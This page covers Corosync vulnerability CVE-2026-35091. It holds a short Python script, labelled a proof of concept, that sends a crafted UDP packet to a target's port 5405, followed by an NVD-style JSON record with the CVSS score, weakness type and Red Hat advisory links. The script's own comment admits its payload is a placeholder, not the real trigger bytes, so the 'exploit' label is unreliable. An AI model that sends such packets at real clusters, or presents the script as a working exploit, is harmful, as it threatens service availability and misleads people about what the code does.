CVE-2026-35091

import socket # Proof of Concept for CVE-2026-35091 # This script sends a crafted UDP packet to trigger the out-of-bounds read. # Target: Corosync (Default port 5405) def send_exploit_packet(target_ip, target_port=5405): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Crafted payload to trigger the vulnerability # Note: Actual specific bytes to trigger the specific return value flaw # would require reverse engineering the binary or detailed analysis. # This represents a malformed token structure. payload = b"\x00\x00\x00\x01" + b"\x41" * 256 sock.sendto(payload, (target_ip, target_port)) print(f"[*] Packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_exploit_packet(sys.argv[1])

{"cve": {"id": "CVE-2026-35091", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:57.040", "lastModified": "2026-05-19T22:16:38.140", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Corosync. A remote unauthenticated attacker can exploit a wrong return value vulnerability in the Corosync membership commit token sanity check by sending a specially crafted User Datagram Protocol (UDP) packet. This can lead to an out-of-bounds read, causing a denial of service (DoS) and potentially disclosing limited memory contents"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-253"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:corosync:corosync:-:*:*:*:*:*:*:*", "matchCriteriaId": "5008766D-B12C-48F2-A70A-2344860259C2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F7E2F04-474D-4196-9CE8-242642990A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13644", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13657", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13673", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14205", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14210", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14211", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14212", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14213", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14214", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14215", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14216", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19043", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19200", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-35091", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453169", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453813", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}